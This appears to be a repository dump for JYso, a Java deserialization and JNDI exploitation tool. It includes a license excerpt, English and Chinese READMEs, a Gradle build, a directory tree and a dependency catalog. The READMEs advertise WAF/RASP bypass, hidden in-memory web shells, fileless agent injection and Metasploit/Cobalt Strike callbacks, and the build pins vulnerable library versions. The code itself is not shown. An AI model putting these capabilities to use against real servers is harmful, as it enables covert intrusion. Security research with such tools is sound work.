possible use to the public, the best way to achieve this is to make it
|
||||||
|
free software which everyone can redistribute and change under these terms.
|
||||||
|
|
||||||
|
To do so, attach the following notices to the program. It is safest
|
||||||
|
to attach them to the start of each source file to most effectively
|
||||||
|
state the exclusion of warranty; and each file should have at least
|
||||||
|
the "copyright" line and a pointer to where the full notice is found.
|
||||||
|
|
||||||
|
{one line to give the program's name and a brief idea of what it does.}
|
||||||
|
Copyright (C) {year} {name of author}
|
||||||
|
|
||||||
|
This program is free software: you can redistribute it and/or modify
|
||||||
|
it under the terms of the GNU General Public License as published by
|
||||||
|
the Free Software Foundation, either version 3 of the License, or
|
||||||
|
(at your option) any later version.
|
||||||
|
|
||||||
|
This program is distributed in the hope that it will be useful,
|
||||||
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
GNU General Public License for more details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License
|
||||||
|
along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
|
||||||
|
Also add information on how to contact you by electronic and paper mail.
|
||||||
|
|
||||||
|
If the program does terminal interaction, make it output a short
|
||||||
|
notice like this when it starts in an interactive mode:
|
||||||
|
|
||||||
|
{project} Copyright (C) {year} {fullname}
|
||||||
|
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
|
||||||
|
This is free software, and you are welcome to redistribute it
|
||||||
|
under certain conditions; type `show c' for details.
|
||||||
|
|
||||||
|
The hypothetical commands `show w' and `show c' should show the appropriate
|
||||||
|
parts of the General Public License. Of course, your program's commands
|
||||||
|
might be different; for a GUI interface, you would use an "about box".
|
||||||
|
|
||||||
|
You should also get your employer (if you work as a programmer) or school,
|
||||||
|
if any, to sign a "copyright disclaimer" for the program, if necessary.
|
||||||
|
For more information on this, and how to apply and follow the GNU GPL, see
|
||||||
|
<http://www.gnu.org/licenses/>.
|
||||||
|
|
||||||
|
The GNU General Public License does not permit incorporating your program
|
||||||
|
into proprietary programs. If your program is a subroutine library, you
|
||||||
|
may consider it more useful to permit linking proprietary applications with
|
||||||
|
the library. If this is what you want to do, use the GNU Lesser General
|
||||||
|
Public License instead of this License. But first, please read
|
||||||
|
<http://www.gnu.org/philosophy/why-not-lgpl.html>.
|
||||||
@@ -0,0 +1,87 @@
|
|||||||
|
<p align="center">
|
||||||
|
<img src="docs/img/logo.png" width="120">
|
||||||
|
</p>
|
||||||
|
<h1 align="center"> JYso </h1>
|
||||||
|
|
||||||
|
<p align="center">
|
||||||
|
<img src="https://img.shields.io/badge/JDK-1.8+-orange" />
|
||||||
|
<img src="https://img.shields.io/badge/gradle-8.7-blue" />
|
||||||
|
<img src="https://img.shields.io/badge/SDL-Groovy-green" />
|
||||||
|
|
||||||
|
<p align="center"> It can be used as a tool for ysoserial and JNDIExploit at the same time, and has the bypass function of multiple JNDI high versions, WAF, and RASP </p>
|
||||||
|
|
||||||
|
## 🚀 Getting Started Guide
|
||||||
|
|
||||||
|
📢 Please take a moment to read this document, it will help you quickly get familiar with JYso!
|
||||||
|
|
||||||
|
🧐 Use the Documentation [Wiki](https://github.com/qi4L/JYso/wiki).
|
||||||
|
|
||||||
|
✔ Download the latest version of [Releases](https://github.com/qi4L/JYso/releases).
|
||||||
|
|
||||||
|
## 👍 Features
|
||||||
|
|
||||||
|
+ JNDI account password startup
|
||||||
|
+ JNDI route hiding or encryption
|
||||||
|
+ JNDI high version Bypass
|
||||||
|
+ Customize the path, password, HTTP header and value of the memory horse
|
||||||
|
+ Memory horse supports [Fileless landing Agent insertion](https://xz.aliyun.com/t/10075?time__1311=mq%2BxBD9QDQe4yDBkPoN%2BuDAO%3DnB5x&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fsearch%3Fkeyword%3Drebeyond)
|
||||||
|
+ Memory horse writes JRE or environment variables to hide
|
||||||
|
+ Serialized data plus dirty data
|
||||||
|
+ [Serialized data is encoded in UTF-8 corresponding to 3 bytes](https://whoopsunix.com/docs/PPPYSO/advance/UTFMIX/)
|
||||||
|
+ TemplatesImpl _bytecodes feature eliminated and size reduced
|
||||||
|
+ SignedObject secondary deserialization, can be used to bypass TemplatesImpl blacklist, CC without array and blacklist often seen in CTF, etc.
|
||||||
|
+ Solve the problem of Shiro Header being too long, get the value of the specified parameter from the request for class loading
|
||||||
|
+ Dynamically generate obfuscated class names
|
||||||
|
+ MSF/CS online
|
||||||
|
+ Code execution through JDBC
|
||||||
|
|
||||||
|
If you have other great ideas, please let me know! 😎
|
||||||
|
|
||||||
|
## 🐯 Compile
|
||||||
|
|
||||||
|
Download gradle8.7+ and configure it in the global environment variable, and execute it in the project root directory
|
||||||
|
|
||||||
|
```shell
|
||||||
|
./gradlew shadowJar
|
||||||
|
```
|
||||||
|
|
||||||
|
## 🌲Directory structure
|
||||||
|
|
||||||
|
For more information, please refer to [Directory structure description](docs/directory_structure.md).
|
||||||
|
|
||||||
|
## ✨ CTStack
|
||||||
|
|
||||||
|
<img src="https://ctstack-oss.oss-cn-beijing.aliyuncs.com/CT%20Stack-2.png" width="30%" />
|
||||||
|
|
||||||
|
JYso has joined the [CTStack](https://stack.chaitin.com/tool/detail/1303) community
|
||||||
|
|
||||||
|
## ✨ 404StarLink 2.0 - Galaxy
|
||||||
|
|
||||||
|
JYso is a member of the 404Team [404StarLink 2.0](https://github.com/knownsec/404StarLink). If you have questions about JYso or want to find a partner to communicate, you can refer to the Starlink group project.
|
||||||
|
|
||||||
|
+ https://github.com/knownsec/404StarLink2.0-Galaxy#community
|
||||||
|
|
||||||
|
1. [入选2024年KCon兵器谱](https://kcon.knownsec.com/index.php?s=bqp&c=category&id=3)
|
||||||
|
|
||||||
|
## 📷 Acknowledgements
|
||||||
|
|
||||||
|
- https://github.com/veracode-research/rogue-jndi
|
||||||
|
- https://github.com/welk1n/JNDI-Injection-Exploit
|
||||||
|
- https://github.com/welk1n/JNDI-Injection-Bypass
|
||||||
|
- https://github.com/WhiteHSBG/JNDIExploit
|
||||||
|
- https://github.com/su18/ysoserial
|
||||||
|
- https://github.com/rebeyond/Behinder
|
||||||
|
- https://github.com/Whoopsunix/utf-8-overlong-encoding
|
||||||
|
- https://github.com/mbechler/marshalsec
|
||||||
|
- https://t.zsxq.com/17LkqCzk8
|
||||||
|
- https://mp.weixin.qq.com/s/fcuKNfLXiFxWrIYQPq7OCg
|
||||||
|
- https://xz.aliyun.com/t/11640?time__1311=mqmx0DBDuDnQ340vo4%2BxCwg%3DQai%3DYzaq4D&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fu%2F8697
|
||||||
|
- https://archive.conference.hitb.org/hitbsecconf2021sin/sessions/make-jdbc-attacks-brilliant-again/
|
||||||
|
- https://tttang.com/archive/1405/#toc_0x03-jdbc-rce
|
||||||
|
- https://xz.aliyun.com/t/10656?time__1311=mq%2BxBDy7G%3DLOD%2FD0DoYg0%3DDR0HG8KeD&alichlgref=https%3A%2F%2Ftttang.com%2F#toc-7
|
||||||
|
- https://whoopsunix.com/docs/PPPYSO/advance/UTFMIX/
|
||||||
|
- https://tttang.com/archive/1405/#toc_groovyclassloader
|
||||||
|
- https://xz.aliyun.com/t/10656?time__1311=mq%2BxBDy7G%3DLOD%2FD0DoY4AKqiKD%3DOQjqx&alichlgref=https%3A%2F%2Ftttang.com%2F
|
||||||
|
- https://www.leavesongs.com/PENETRATION/use-tls-proxy-to-exploit-ldaps.html
|
||||||
|
- https://tttang.com/archive/1405/#toc_druid
|
||||||
|
|
||||||
@@ -0,0 +1,89 @@
|
|||||||
|
<p align="center">
|
||||||
|
<img src="docs/img/logo.png" width="120">
|
||||||
|
</p>
|
||||||
|
<h1 align="center"> JYso </h1>
|
||||||
|
|
||||||
|
<p align="center">
|
||||||
|
<img src="https://img.shields.io/badge/JDK-1.8+-orange" />
|
||||||
|
<img src="https://img.shields.io/badge/gradle-8.7-blue" />
|
||||||
|
<img src="https://img.shields.io/badge/SDL-Groovy-green" />
|
||||||
|
|
||||||
|
<p align="center"> 可以同时当做 ysoserial 与 JNDIExploit 使用的工具,同时具备多种JNDI高版本、WAF、RASP的Bypass功能 </p>
|
||||||
|
|
||||||
|
<p align="center"> 中文文档 | <a href="README.en.md">English</a> </p>
|
||||||
|
|
||||||
|
## 🚀 上手指南
|
||||||
|
|
||||||
|
📢 请务必花一点时间阅读此文档,有助于你快速熟悉JYso!
|
||||||
|
|
||||||
|
🧐 使用文档[Wiki](https://github.com/qi4L/JYso/wiki)。
|
||||||
|
|
||||||
|
✔ 下载最新版本的[Releases](https://github.com/qi4L/JYso/releases)。
|
||||||
|
|
||||||
|
## 👍 特点
|
||||||
|
|
||||||
|
+ JNDI 账号密码启动
|
||||||
|
+ JNDI 路由隐藏或加密
|
||||||
|
+ JNDI 高版本Bypass
|
||||||
|
+ 自定义修改内存马的路径、密码、验证的HTTP头与值
|
||||||
|
+ 内存马支持[无文件落地Agent打入](https://xz.aliyun.com/t/10075?time__1311=mq%2BxBD9QDQe4yDBkPoN%2BuDAO%3DnB5x&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fsearch%3Fkeyword%3Drebeyond)
|
||||||
|
+ 内存马写入 JRE 或环境变量来隐藏
|
||||||
|
+ 序列化数据加脏数据
|
||||||
|
+ [序列化数据进行3字节对应的UTF-8编码](https://whoopsunix.com/docs/PPPYSO/advance/UTFMIX/)
|
||||||
|
+ TemplatesImpl 的 _bytecodes 特征消除且做了大小缩减
|
||||||
|
+ SignedObject 二次反序列化,可用于绕过如 TemplatesImpl 黑名单,CTF 中常出现的 CC 无数组加黑名单等
|
||||||
|
+ 解决 Shiro Header 头部过长,从 request 中获取指定参数的值进行类加载
|
||||||
|
+ 动态生成混淆的类名
|
||||||
|
+ MSF/CS 上线
|
||||||
|
+ 通过JDBC来进行代码执行
|
||||||
|
|
||||||
|
如果你有其他很棒的想法请务必告诉我!😎
|
||||||
|
|
||||||
|
## 🐯 编译
|
||||||
|
|
||||||
|
下载 gradle8.7+ 并配置到全局环境变量中,在项目根目录下执行
|
||||||
|
|
||||||
|
```shell
|
||||||
|
./gradlew shadowJar
|
||||||
|
```
|
||||||
|
|
||||||
|
## 🌲目录结构
|
||||||
|
|
||||||
|
更多信息请参阅[目录结构说明](docs/directory_structure.md)。
|
||||||
|
|
||||||
|
## ✨ CTStack
|
||||||
|
|
||||||
|
<img src="https://ctstack-oss.oss-cn-beijing.aliyuncs.com/CT%20Stack-2.png" width="30%" />
|
||||||
|
|
||||||
|
JYso 现已加入 [CTStack](https://stack.chaitin.com/tool/detail/1303) 社区
|
||||||
|
|
||||||
|
## ✨ 404StarLink 2.0 - Galaxy
|
||||||
|
|
||||||
|
JYso 是 404Team [404StarLink 2.0](https://github.com/knownsec/404StarLink) 中的一环,如果您有 关于JYso的问题或者想找伙伴交流,可以参考星链加群方式项目。
|
||||||
|
|
||||||
|
+ https://github.com/knownsec/404StarLink2.0-Galaxy#community
|
||||||
|
|
||||||
|
1. [入选2024年KCon兵器谱](https://kcon.knownsec.com/index.php?s=bqp&c=category&id=3)
|
||||||
|
|
||||||
|
## 📷 参考
|
||||||
|
|
||||||
|
- https://github.com/veracode-research/rogue-jndi
|
||||||
|
- https://github.com/welk1n/JNDI-Injection-Exploit
|
||||||
|
- https://github.com/welk1n/JNDI-Injection-Bypass
|
||||||
|
- https://github.com/WhiteHSBG/JNDIExploit
|
||||||
|
- https://github.com/su18/ysoserial
|
||||||
|
- https://github.com/rebeyond/Behinder
|
||||||
|
- https://github.com/Whoopsunix/utf-8-overlong-encoding
|
||||||
|
- https://github.com/mbechler/marshalsec
|
||||||
|
- https://t.zsxq.com/17LkqCzk8
|
||||||
|
- https://mp.weixin.qq.com/s/fcuKNfLXiFxWrIYQPq7OCg
|
||||||
|
- https://xz.aliyun.com/t/11640?time__1311=mqmx0DBDuDnQ340vo4%2BxCwg%3DQai%3DYzaq4D&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fu%2F8697
|
||||||
|
- https://archive.conference.hitb.org/hitbsecconf2021sin/sessions/make-jdbc-attacks-brilliant-again/
|
||||||
|
- https://tttang.com/archive/1405/#toc_0x03-jdbc-rce
|
||||||
|
- https://xz.aliyun.com/t/10656?time__1311=mq%2BxBDy7G%3DLOD%2FD0DoYg0%3DDR0HG8KeD&alichlgref=https%3A%2F%2Ftttang.com%2F#toc-7
|
||||||
|
- https://whoopsunix.com/docs/PPPYSO/advance/UTFMIX/
|
||||||
|
- https://tttang.com/archive/1405/#toc_groovyclassloader
|
||||||
|
- https://xz.aliyun.com/t/10656?time__1311=mq%2BxBDy7G%3DLOD%2FD0DoY4AKqiKD%3DOQjqx&alichlgref=https%3A%2F%2Ftttang.com%2F
|
||||||
|
- https://www.leavesongs.com/PENETRATION/use-tls-proxy-to-exploit-ldaps.html
|
||||||
|
- https://tttang.com/archive/1405/#toc_druid
|
||||||
|
|
||||||
+136
@@ -0,0 +1,136 @@
|
|||||||
|
plugins {
|
||||||
|
id 'java-library'
|
||||||
|
id 'maven-publish'
|
||||||
|
id 'com.gradleup.shadow' version '8.3.5'
|
||||||
|
id 'java'
|
||||||
|
}
|
||||||
|
|
||||||
|
repositories {
|
||||||
|
mavenLocal()
|
||||||
|
maven {
|
||||||
|
url = uri('https://repo.jenkins-ci.org/releases/')
|
||||||
|
}
|
||||||
|
|
||||||
|
maven {
|
||||||
|
url = uri('https://repo.maven.apache.org/maven2/')
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
shadowJar {
|
||||||
|
archiveClassifier.set('pre')
|
||||||
|
manifest {
|
||||||
|
attributes 'Main-Class': 'com.qi4l.JYso.Starter'
|
||||||
|
}
|
||||||
|
zip64=true
|
||||||
|
//minimize()
|
||||||
|
}
|
||||||
|
|
||||||
|
dependencies {
|
||||||
|
api libs.io.projectreactor.reactor.core
|
||||||
|
api libs.com.ibm.websphere.appserver.api.com.ibm.websphere.appserver.api.wsoc
|
||||||
|
api libs.org.glassfish.tyrus.tyrus.server
|
||||||
|
api libs.org.javassist.javassist
|
||||||
|
api libs.xerces.xercesimpl
|
||||||
|
api libs.com.fasterxml.jackson.core.jackson.databind
|
||||||
|
api libs.com.teradata.jdbc.terajdbc
|
||||||
|
api libs.jboss.jboss.serialization
|
||||||
|
api libs.org.apache.wicket.wicket.util
|
||||||
|
api libs.com.vaadin.vaadin.server
|
||||||
|
api libs.org.apache.myfaces.core.myfaces.impl
|
||||||
|
api libs.rhino.js
|
||||||
|
api libs.rome.rome
|
||||||
|
api libs.com.alibaba.fastjson
|
||||||
|
api libs.com.alibaba.fastjson2.fastjson2
|
||||||
|
api libs.org.jenkins.ci.main.remoting
|
||||||
|
api libs.org.jboss.weld.weld.core
|
||||||
|
api libs.org.jboss.remoting.jboss.remoting
|
||||||
|
api libs.org.jboss.remotingjmx.remoting.jmx
|
||||||
|
api libs.org.jboss.interceptor.jboss.interceptor.core
|
||||||
|
api libs.org.jboss.interceptor.jboss.interceptor.spi
|
||||||
|
api libs.org.python.jython.standalone
|
||||||
|
api libs.org.hibernate.hibernate.core
|
||||||
|
api libs.org.fusesource.jansi.jansi
|
||||||
|
api libs.commons.cli.commons.cli
|
||||||
|
api libs.org.apache.commons.commons.lang3
|
||||||
|
api libs.org.apache.logging.log4j.log4j.core
|
||||||
|
api libs.org.springframework.spring.core
|
||||||
|
api libs.org.springframework.spring.beans
|
||||||
|
api libs.org.springframework.spring.web
|
||||||
|
api libs.org.springframework.spring.oxm
|
||||||
|
api libs.org.springframework.spring.tx
|
||||||
|
api libs.org.springframework.spring.jdbc
|
||||||
|
api libs.org.springframework.spring.webmvc
|
||||||
|
api libs.org.springframework.spring.aop
|
||||||
|
api libs.org.springframework.spring.context.support
|
||||||
|
api libs.org.springframework.spring.test
|
||||||
|
api libs.javax.servlet.javax.servlet.api
|
||||||
|
api libs.com.mchange.c3p0
|
||||||
|
api libs.commons.collections.commons.collections
|
||||||
|
api libs.org.apache.commons.commons.collections4
|
||||||
|
api libs.org.apache.tomcat.embed.tomcat.embed.core
|
||||||
|
api libs.org.ow2.asm.asm
|
||||||
|
api libs.com.unboundid.unboundid.ldapsdk
|
||||||
|
api libs.com.nqzero.permit.reflect
|
||||||
|
api libs.net.jodah.expiringmap
|
||||||
|
api libs.org.reflections.reflections
|
||||||
|
api libs.org.beanshell.bsh
|
||||||
|
api libs.io.undertow.undertow.core
|
||||||
|
api libs.io.undertow.undertow.servlet
|
||||||
|
api libs.org.jboss.spec.javax.security.jacc.jboss.jacc.api.v1.v4.spec
|
||||||
|
api libs.com.beust.jcommander
|
||||||
|
api libs.org.codehaus.groovy.groovy
|
||||||
|
api libs.org.apache.commons.commons.text
|
||||||
|
api libs.org.eclipse.jetty.jetty.ant
|
||||||
|
api libs.org.apache.maven.plugins.maven.assembly.plugin
|
||||||
|
api libs.org.apache.click.click.nodeps
|
||||||
|
api libs.org.clojure.clojure
|
||||||
|
api libs.cn.hutool.hutool.all
|
||||||
|
api libs.javax.websocket.javax.websocket.api
|
||||||
|
api libs.com.caucho.resin
|
||||||
|
|
||||||
|
implementation files('libs/jai-core-1.1.3.jar')
|
||||||
|
implementation files('libs/weblogic-server.jar')
|
||||||
|
|
||||||
|
implementation 'org.codehaus.castor:castor-xml:1.4.1'
|
||||||
|
implementation 'com.cedarsoftware:json-io:4.9.1'
|
||||||
|
implementation 'org.jyaml:jyaml:1.3'
|
||||||
|
implementation 'com.esotericsoftware:kryo:4.0.0'
|
||||||
|
implementation 'commons-configuration:commons-configuration:1.10'
|
||||||
|
implementation 'com.thoughtworks.xstream:xstream:1.4.9'
|
||||||
|
implementation 'org.apache.xbean:xbean-naming:4.5'
|
||||||
|
implementation 'com.rometools:rome:1.7.0'
|
||||||
|
implementation 'net.sf.json-lib:json-lib:2.4:jdk15'
|
||||||
|
implementation 'org.apache.directory.server:apacheds-xdbm-partition:2.0.0.AM26'
|
||||||
|
|
||||||
|
implementation 'commons-beanutils:commons-beanutils:1.9.4'
|
||||||
|
|
||||||
|
runtimeOnly libs.org.aspectj.aspectjweaver
|
||||||
|
compileOnly libs.org.apache.tomcat.tomcat.websocket
|
||||||
|
}
|
||||||
|
|
||||||
|
group = 'org.example'
|
||||||
|
version = '1.3.5'
|
||||||
|
description = 'JYso'
|
||||||
|
java.sourceCompatibility = JavaVersion.VERSION_1_8
|
||||||
|
|
||||||
|
publishing {
|
||||||
|
publications {
|
||||||
|
maven(MavenPublication) {
|
||||||
|
from(components.java)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
tasks.withType(JavaCompile) {
|
||||||
|
options.encoding = 'UTF-8'
|
||||||
|
}
|
||||||
|
|
||||||
|
tasks.withType(Javadoc) {
|
||||||
|
options.encoding = 'UTF-8'
|
||||||
|
}
|
||||||
|
|
||||||
|
compileJava {
|
||||||
|
options.compilerArgs << '-XDignore.symbol.file'
|
||||||
|
options.fork = true
|
||||||
|
options.forkOptions.executable = 'C:\\env\\JAVA\\corretto_jdk1.8.0_412\\bin\\javac.exe'
|
||||||
|
}
|
||||||
@@ -0,0 +1,72 @@
|
|||||||
|
├─.gradle Gradle构建配置文件
|
||||||
|
│ ├─8.7
|
||||||
|
│ │ ├─checksums
|
||||||
|
│ │ ├─dependencies-accessors
|
||||||
|
│ │ │ └─525c6f5870ba43302c5969f432765d671d340d71
|
||||||
|
│ │ │ ├─classes
|
||||||
|
│ │ │ │ └─org
|
||||||
|
│ │ │ │ └─gradle
|
||||||
|
│ │ │ │ └─accessors
|
||||||
|
│ │ │ │ └─dm
|
||||||
|
│ │ │ └─sources
|
||||||
|
│ │ │ └─org
|
||||||
|
│ │ │ └─gradle
|
||||||
|
│ │ │ └─accessors
|
||||||
|
│ │ │ └─dm
|
||||||
|
│ │ ├─executionHistory
|
||||||
|
│ │ ├─expanded
|
||||||
|
│ │ ├─fileChanges
|
||||||
|
│ │ ├─fileHashes
|
||||||
|
│ │ └─vcsMetadata
|
||||||
|
│ ├─buildOutputCleanup
|
||||||
|
│ └─vcs-1
|
||||||
|
├─.idea IDEA配置信息文件
|
||||||
|
│ ├─artifacts
|
||||||
|
│ ├─codeStyles
|
||||||
|
│ ├─inspectionProfiles
|
||||||
|
│ └─libraries
|
||||||
|
├─docs 有关文档
|
||||||
|
├─gradle
|
||||||
|
│ └─wrapper
|
||||||
|
├─libs 第三方jar
|
||||||
|
└─src
|
||||||
|
├─main
|
||||||
|
│ └─java
|
||||||
|
│ └─com
|
||||||
|
│ └─qi4l
|
||||||
|
│ └─jndi
|
||||||
|
│ ├─controllers JNDI路由逻辑
|
||||||
|
│ │ └─utils
|
||||||
|
│ ├─enumtypes
|
||||||
|
│ ├─exceptions
|
||||||
|
│ ├─exploit -cp 模式下的漏洞逻辑
|
||||||
|
│ ├─gadgets 反序列化链
|
||||||
|
│ │ ├─annotation
|
||||||
|
│ │ ├─Config
|
||||||
|
│ │ └─utils
|
||||||
|
│ │ ├─beanshell
|
||||||
|
│ │ ├─cc
|
||||||
|
│ │ ├─clojure
|
||||||
|
│ │ ├─dirty
|
||||||
|
│ │ ├─handle
|
||||||
|
│ │ ├─jdbc
|
||||||
|
│ │ ├─jre
|
||||||
|
│ │ └─utf8OverlongEncoding
|
||||||
|
│ └─template
|
||||||
|
│ ├─Agent Agent注入逻辑
|
||||||
|
│ │ └─utli
|
||||||
|
│ ├─echo 回显类
|
||||||
|
│ └─memshell 内存shell逻辑
|
||||||
|
│ ├─BypassNginxCDN
|
||||||
|
│ ├─jboss
|
||||||
|
│ ├─jetty
|
||||||
|
│ ├─resin
|
||||||
|
│ ├─shell
|
||||||
|
│ ├─spring
|
||||||
|
│ ├─struts2
|
||||||
|
│ ├─tomcat
|
||||||
|
│ ├─Tomcat_Spring_Jetty
|
||||||
|
│ ├─weblogic
|
||||||
|
│ └─Websphere
|
||||||
|
└─test
|
||||||
|
└─java
|
||||||
Binary file not shown.
|
After Width: | Height: | Size: 94 KiB |
@@ -0,0 +1,132 @@
|
|||||||
|
# This file was generated by the Gradle 'init' task.
|
||||||
|
# https://docs.gradle.org/current/userguide/platforms.html#sub::toml-dependencies-format
|
||||||
|
|
||||||
|
[versions]
|
||||||
|
cn-hutool-hutool-all = "5.7.7"
|
||||||
|
com-alibaba-fastjson = "1.2.83"
|
||||||
|
com-alibaba-fastjson2-fastjson2 = "2.0.26"
|
||||||
|
com-beust-jcommander = "1.78"
|
||||||
|
com-caucho-resin = "4.0.65"
|
||||||
|
com-fasterxml-jackson-core-jackson-databind = "2.11.3"
|
||||||
|
com-ibm-websphere-appserver-api-com-ibm-websphere-appserver-api-wsoc = "1.0.10"
|
||||||
|
com-mchange-c3p0 = "0.9.5.5"
|
||||||
|
com-nqzero-permit-reflect = "0.3"
|
||||||
|
com-teradata-jdbc-terajdbc = "20.00.00.06"
|
||||||
|
com-unboundid-unboundid-ldapsdk = "4.0.9"
|
||||||
|
com-vaadin-vaadin-server = "7.7.14"
|
||||||
|
commons-cli-commons-cli = "1.5.0"
|
||||||
|
commons-collections-commons-collections = "3.2.1"
|
||||||
|
io-projectreactor-reactor-core = "3.4.26"
|
||||||
|
io-undertow-undertow-core = "2.2.2.Final"
|
||||||
|
io-undertow-undertow-servlet = "2.2.2.Final"
|
||||||
|
javax-servlet-javax-servlet-api = "4.0.1"
|
||||||
|
javax-websocket-javax-websocket-api = "1.1"
|
||||||
|
jboss-jboss-serialization = "4.2.2.GA"
|
||||||
|
net-jodah-expiringmap = "0.5.9"
|
||||||
|
org-apache-click-click-nodeps = "2.3.0"
|
||||||
|
org-apache-commons-commons-collections4 = "4.0"
|
||||||
|
org-apache-commons-commons-lang3 = "3.12.0"
|
||||||
|
org-apache-commons-commons-text = "1.8"
|
||||||
|
org-apache-logging-log4j-log4j-core = "2.14.1"
|
||||||
|
org-apache-maven-plugins-maven-assembly-plugin = "3.0.0"
|
||||||
|
org-apache-myfaces-core-myfaces-impl = "2.2.9"
|
||||||
|
org-apache-tomcat-embed-tomcat-embed-core = "8.5.58"
|
||||||
|
org-apache-tomcat-tomcat-websocket = "9.0.62"
|
||||||
|
org-apache-wicket-wicket-util = "6.23.0"
|
||||||
|
org-aspectj-aspectjweaver = "1.9.7"
|
||||||
|
org-beanshell-bsh = "2.0b5"
|
||||||
|
org-clojure-clojure = "1.8.0"
|
||||||
|
org-codehaus-groovy-groovy = "2.4.5"
|
||||||
|
org-eclipse-jetty-jetty-ant = "11.0.7"
|
||||||
|
org-fusesource-jansi-jansi = "2.4.0"
|
||||||
|
org-glassfish-tyrus-tyrus-server = "2.0.0"
|
||||||
|
org-hibernate-hibernate-core = "4.3.11.Final"
|
||||||
|
org-javassist-javassist = "3.29.2-GA"
|
||||||
|
org-jboss-interceptor-jboss-interceptor-core = "2.0.0.Final"
|
||||||
|
org-jboss-interceptor-jboss-interceptor-spi = "2.0.0.Final"
|
||||||
|
org-jboss-remoting-jboss-remoting = "4.0.19.Final"
|
||||||
|
org-jboss-remotingjmx-remoting-jmx = "2.0.1.Final"
|
||||||
|
org-jboss-spec-javax-security-jacc-jboss-jacc-api-v1-v4-spec = "1.0.3.Final"
|
||||||
|
org-jboss-weld-weld-core = "1.1.33.Final"
|
||||||
|
org-jenkins-ci-main-remoting = "2.55"
|
||||||
|
org-ow2-asm-asm = "8.0.1"
|
||||||
|
org-python-jython-standalone = "2.5.2"
|
||||||
|
org-reflections-reflections = "0.9.10"
|
||||||
|
org-springframework-spring-aop = "5.2.3.RELEASE"
|
||||||
|
org-springframework-spring-beans = "5.2.3.RELEASE"
|
||||||
|
org-springframework-spring-context-support = "5.2.3.RELEASE"
|
||||||
|
org-springframework-spring-core = "5.2.3.RELEASE"
|
||||||
|
org-springframework-spring-jdbc = "5.2.3.RELEASE"
|
||||||
|
org-springframework-spring-oxm = "5.2.3.RELEASE"
|
||||||
|
org-springframework-spring-test = "5.2.3.RELEASE"
|
||||||
|
org-springframework-spring-tx = "5.2.3.RELEASE"
|
||||||
|
org-springframework-spring-web = "5.2.3.RELEASE"
|
||||||
|
org-springframework-spring-webmvc = "5.2.3.RELEASE"
|
||||||
|
rhino-js = "1.7R2"
|
||||||
|
rome-rome = "1.0"
|
||||||
|
xerces-xercesimpl = "2.12.0"
|
||||||
|
|
||||||
|
[libraries]
|
||||||
|
cn-hutool-hutool-all = { module = "cn.hutool:hutool-all", version.ref = "cn-hutool-hutool-all" }
|
||||||
|
com-alibaba-fastjson = { module = "com.alibaba:fastjson", version.ref = "com-alibaba-fastjson" }
|
||||||
|
com-alibaba-fastjson2-fastjson2 = { module = "com.alibaba.fastjson2:fastjson2", version.ref = "com-alibaba-fastjson2-fastjson2" }
|
||||||
|
com-beust-jcommander = { module = "com.beust:jcommander", version.ref = "com-beust-jcommander" }
|
||||||
|
com-caucho-resin = { module = "com.caucho:resin", version.ref = "com-caucho-resin" }
|
||||||
|
com-fasterxml-jackson-core-jackson-databind = { module = "com.fasterxml.jackson.core:jackson-databind", version.ref = "com-fasterxml-jackson-core-jackson-databind" }
|
||||||
|
com-ibm-websphere-appserver-api-com-ibm-websphere-appserver-api-wsoc = { module = "com.ibm.websphere.appserver.api:com.ibm.websphere.appserver.api.wsoc", version.ref = "com-ibm-websphere-appserver-api-com-ibm-websphere-appserver-api-wsoc" }
|
||||||
|
com-mchange-c3p0 = { module = "com.mchange:c3p0", version.ref = "com-mchange-c3p0" }
|
||||||
|
com-nqzero-permit-reflect = { module = "com.nqzero:permit-reflect", version.ref = "com-nqzero-permit-reflect" }
|
||||||
|
com-teradata-jdbc-terajdbc = { module = "com.teradata.jdbc:terajdbc", version.ref = "com-teradata-jdbc-terajdbc" }
|
||||||
|
com-unboundid-unboundid-ldapsdk = { module = "com.unboundid:unboundid-ldapsdk", version.ref = "com-unboundid-unboundid-ldapsdk" }
|
||||||
|
com-vaadin-vaadin-server = { module = "com.vaadin:vaadin-server", version.ref = "com-vaadin-vaadin-server" }
|
||||||
|
commons-cli-commons-cli = { module = "commons-cli:commons-cli", version.ref = "commons-cli-commons-cli" }
|
||||||
|
commons-collections-commons-collections = { module = "commons-collections:commons-collections", version.ref = "commons-collections-commons-collections" }
|
||||||
|
io-projectreactor-reactor-core = { module = "io.projectreactor:reactor-core", version.ref = "io-projectreactor-reactor-core" }
|
||||||
|
io-undertow-undertow-core = { module = "io.undertow:undertow-core", version.ref = "io-undertow-undertow-core" }
|
||||||
|
io-undertow-undertow-servlet = { module = "io.undertow:undertow-servlet", version.ref = "io-undertow-undertow-servlet" }
|
||||||
|
javax-servlet-javax-servlet-api = { module = "javax.servlet:javax.servlet-api", version.ref = "javax-servlet-javax-servlet-api" }
|
||||||
|
javax-websocket-javax-websocket-api = { module = "javax.websocket:javax.websocket-api", version.ref = "javax-websocket-javax-websocket-api" }
|
||||||
|
jboss-jboss-serialization = { module = "jboss:jboss-serialization", version.ref = "jboss-jboss-serialization" }
|
||||||
|
net-jodah-expiringmap = { module = "net.jodah:expiringmap", version.ref = "net-jodah-expiringmap" }
|
||||||
|
org-apache-click-click-nodeps = { module = "org.apache.click:click-nodeps", version.ref = "org-apache-click-click-nodeps" }
|
||||||
|
org-apache-commons-commons-collections4 = { module = "org.apache.commons:commons-collections4", version.ref = "org-apache-commons-commons-collections4" }
|
||||||
|
org-apache-commons-commons-lang3 = { module = "org.apache.commons:commons-lang3", version.ref = "org-apache-commons-commons-lang3" }
|
||||||
|
org-apache-commons-commons-text = { module = "org.apache.commons:commons-text", version.ref = "org-apache-commons-commons-text" }
|
||||||
|
org-apache-logging-log4j-log4j-core = { module = "org.apache.logging.log4j:log4j-core", version.ref = "org-apache-logging-log4j-log4j-core" }
|
||||||
|
